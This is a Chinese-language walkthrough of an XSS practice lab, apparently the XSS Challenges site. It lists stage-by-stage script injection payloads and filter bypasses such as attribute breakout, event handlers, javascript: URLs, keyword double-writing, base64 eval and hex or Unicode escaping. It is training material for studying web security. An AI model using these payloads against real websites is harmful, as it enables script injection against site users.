过关目标是alert(document.domain);
stage 1:
<script>alert(document.domain);</script>
stage 2:
"><script>alert(document.domain);</script>
stage 3:
burp抓包,p2处执行即可。
Japan</option><script>alert(document.domain);</script>
stage 4:
多了一个隐藏参数,也就是burp抓包,在p3后面写入即可。
"><script>alert(document.domain);</script>
stage 5:
相比于stage 4,只是在前端用maxlength做了限制,F12修改一下就好。payload同stage 4。
stage 6:
" onclick="alert(document.domain)
执行完payload后,点击一下输入框即可。
stage 7:
" onclick=alert(document.domain)
这里是用空格来对属性进行分隔。
同stage 6,点一下输入框就好。
stage 8:
这里用了JavaScript伪协议。
javascript:alert(document.domain);
stage 9:
这一关需要能够识别UTF-7的浏览器和UTF-7编码。
以后有时间在弄吧,不想弄,跳过。
跳关的方法:可以在hint处,F12加上onclick="alert(document.domain)",再点击一下hint就好。
stage 10:
过滤了domain。
双写绕过或者编码绕过就好。
"><script>alert(document.domdomainain);</script>
"><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=‘));</script>
stage 11:
过滤了script、style、on事件(例如onclick之类的)。
"><a href="javascr ipt:alert(document.domain)">xss</a>
空格分隔script,但是我这里出现了点问题,search之后,点击xss会出现404,所以我在search之后,通过F12在前端,将前面加上的空格给删除了,再点击xss才得以通过。
那么我项可不可以就不用空格分隔,直接search,然后它会将script改为xscript,那我还是F12修改,发现还是能够通过。
stage 12:
过滤了单双引号,尖括号。所以利用IE浏览器的特性,在IE浏览器中用两个反引号闭合双引号。
`` onclick=alert(document.domain)
stage 13:
background-color:#f00;background:url("javascript:alert(document.domain);");
可能因为我的IE版本较高,导致无法执行成功。
stage 14:
不知道为什么执行不了,留下payload吧。
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;}) xss:expr/*XSS*/ession(alert(document.domain));
stage 15:
16进制转换左右尖括号即可。
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
stage 16:
这一关根据提示知道16进制是绕不过了。
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
Unicode编码绕过即可。
stage 17和stage 18:
因为需要IE的旧版本,所以没有做。
stage 19:
javascript:alert(document.domain)
原文:https://www.cnblogs.com/-an-/p/12629313.html